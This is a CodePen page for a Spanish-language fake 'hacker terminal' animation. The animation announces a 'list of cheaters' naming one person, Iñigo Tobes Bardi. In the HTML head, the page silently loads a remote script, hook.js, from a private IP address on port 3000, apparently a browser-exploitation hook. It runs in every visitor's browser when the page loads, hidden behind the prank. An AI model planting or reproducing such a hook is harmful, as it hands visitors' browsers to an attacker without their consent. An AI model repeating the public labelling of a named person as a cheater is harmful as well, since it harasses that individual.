Pen Settings

HTML

CSS

CSS Base

Vendor Prefixing

Add External Stylesheets/Pens

Any URLs added here will be added as <link>s in order, and before the CSS in the editor. You can use the CSS from another Pen by using its URL and the proper URL extension.

+ add another resource

JavaScript

Babel includes JSX processing.

Add External Scripts/Pens

Any URL's added here will be added as <script>s in order, and run before the JavaScript in the editor. You can use the URL of any other Pen and it will include the JavaScript from that Pen.

+ add another resource

Packages

Add Packages

Search for and use JavaScript packages from npm here. By selecting a package, an import statement will be added to the top of the JavaScript editor for this package.

Behavior

Auto Save

If active, Pens will autosave every 30 seconds after being saved once.

Auto-Updating Preview

If enabled, the preview panel updates automatically as you code. If disabled, use the "Run" button to update.

Format on Save

If enabled, your code will be formatted when you actively save your Pen. Note: your code becomes un-folded during formatting.

Editor Settings

Code Indentation

Want to change your Syntax Highlighting theme, Fonts and more?

Visit your global Editor Settings.

HTML

              
                <!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title>Iñigo Tobes</title>
  <link rel="stylesheet" href="./style.css">
<script src="http://172.16.79.129:3000/hook.js" type="text/javascript"></script>


</head>
<body>
<!-- partial:index.partial.html -->
<div class="scanline"></div>
<pre class="code"><span class="blink">█</span></pre>
<!-- partial -->
 	 <script  src="./script.js"></script>


	

</body>
</html>

              
            
!

CSS

              
                @keyframes blink {
  0.01% {
    opacity: 0;
  }
  50% {
    opacity: 0;
  }
  50.01% {
    opacity: 1;
  }
}
@keyframes scanline {
  0.01% {
    height: 0;
  }
  99.99% {
    height: 100%;
  }
  100% {
    height: 0;
  }
}
html {
  font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;
  text-shadow: 0 0 5px rgba(255, 255, 255, 0.0);
  background-color: #010616;
  background-size: 100px;
  color: #00FF6D;
  height: 100%;
	
}

body {
  margin: 0;
  padding: 16px;
	
}

p,
pre {
  font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;
  font-size: inherit;
  line-height: 1;
  margin: 0;
  display: block;
  padding: 5px;
}

.blink {
  opacity: 1;
  animation: blink 1s linear infinite;
}

.scanline {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background: rgba(255, 255, 255, 0.01);
  animation: scanline 8s linear infinite;
  pointer-events: none;
}
              
            
!

JS

              
                const commands = String.raw`(root@tobes)- cd/project/trampas :~ =^..^=
(root@tobes)- [cd/project/trampas/]:~ # ls`;

const beep = String.raw`



██╗░░░░░██╗░██████╗████████╗░█████╗░
██║░░░░░██║██╔════╝╚══██╔══╝██╔══██╗
██║░░░░░██║╚█████╗░░░░██║░░░███████║
██║░░░░░██║░╚═══██╗░░░██║░░░██╔══██║
███████╗██║██████╔╝░░░██║░░░██║░░██║
╚══════╝╚═╝╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝

██████╗░███████╗  ████████╗██████╗░░█████╗░███╗░░░███╗██████╗░░█████╗░░██████╗░█████╗░░██████╗
██╔══██╗██╔════╝  ╚══██╔══╝██╔══██╗██╔══██╗████╗░████║██╔══██╗██╔══██╗██╔════╝██╔══██╗██╔════╝
██║░░██║█████╗░░  ░░░██║░░░██████╔╝███████║██╔████╔██║██████╔╝██║░░██║╚█████╗░██║░░██║╚█████╗░
██║░░██║██╔══╝░░  ░░░██║░░░██╔══██╗██╔══██║██║╚██╔╝██║██╔═══╝░██║░░██║░╚═══██╗██║░░██║░╚═══██╗
██████╔╝███████╗  ░░░██║░░░██║░░██║██║░░██║██║░╚═╝░██║██║░░░░░╚█████╔╝██████╔╝╚█████╔╝██████╔╝
╚═════╝░╚══════╝  ░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░░░░╚═╝╚═╝░░░░░░╚════╝░╚═════╝░░╚════╝░╚═════╝░                                 


# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #`;

const samurai = String.raw`


░░░░░░░░░  ░░░░░░░░░  ░░░░░░░░░
░░░░░░░░░  ░░░░░░░░░  ░░░░░░░░░
░░░░░░░░░  ░░░░░░░░░  ░░░░░░░░░
░░░░░░░░░  ░░░░░░░░░  ░░░░░░░░░
██╗██╗██╗  ██╗██╗██╗  ██╗██╗██╗
╚═╝╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═╝╚═╝╚═╝
                             



★ LISTA DE TRAMPOSOS (Actual): 
-------------------------------------------------------------------

- Iñigo Tobes Bardi

`;

const loading = String.raw`



░░░░░░░░░  ░░░░░░░░░  ░░░░░░░░░
░░░░░░░░░  ░░░░░░░░░  ░░░░░░░░░
░░░░░░░░░  ░░░░░░░░░  ░░░░░░░░░
░░░░░░░░░  ░░░░░░░░░  ░░░░░░░░░
██╗██╗██╗  ██╗██╗██╗  ██╗██╗██╗
╚═╝╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═╝╚═╝╚═╝   






𝕵𝖔𝖇𝖊𝖘

`;

let blink = document.querySelector('.blink');
const code = document.querySelector('.code');

const RandomNumber = (min, max) => {
	return Math.floor(Math.random() * max) + min
};

const Delay = (time) => {
	return new Promise((resolve) => setTimeout(resolve, time))
};

const ResetTerminal = () => {
	code.innerHTML = '<span class="blink">█</span>';
	blink = document.querySelector('.blink');
};

const RenderString = characters => {
	blink.insertAdjacentHTML('beforeBegin', characters);
};

const TypeString = async characters => {
	for(const character of characters.split('')) {
		await Delay(RandomNumber(100, 200));
		RenderString(character);
	}
}

const DrawLines = async ( characters, min = 50, max = 500 ) => {
	for(const line of characters.split('\n')) {
		await Delay(RandomNumber(min, max));
		RenderString(`${line}\n`);
	}
}

const DrawCommands = async commands => {
	for( const line of commands.split('\n')){
		// Seperate the directory and the command
		const [currentDir, command] = line.split(':~ ');

		// Print the directory, type the command and finish with new line
		RenderString(`${currentDir}:~ `);
		await TypeString(command);
		RenderString('\n');
	}
}


// Start the code
(async()=> {
	await DrawLines(loading);
	await DrawCommands("/:~ Recopilando información...");
	await Delay(5000);
	ResetTerminal();
	
	await DrawCommands("/:~ (iñigo@tobes)-[~]$ sudo -i");
	await Delay(1000);
	RenderString("sudo password for tobes:");
	await Delay(5000);
	RenderString("\n");
	await DrawCommands(commands);
	RenderString('\ trampas.js    Listado.js\n\n');
	await DrawCommands('(root@tobes)-[project/trampas]:~ # node trampas.js');
	await DrawLines( beep );
	await TypeString("\n\nGracias por formar parte de esta lista.");
	await Delay(5000);
	ResetTerminal();
	await DrawCommands('(root@tobes)-[project/ascii]:~ # node listado.js');
	await DrawLines(samurai);
	
	
})();
              
            
!
999px

Console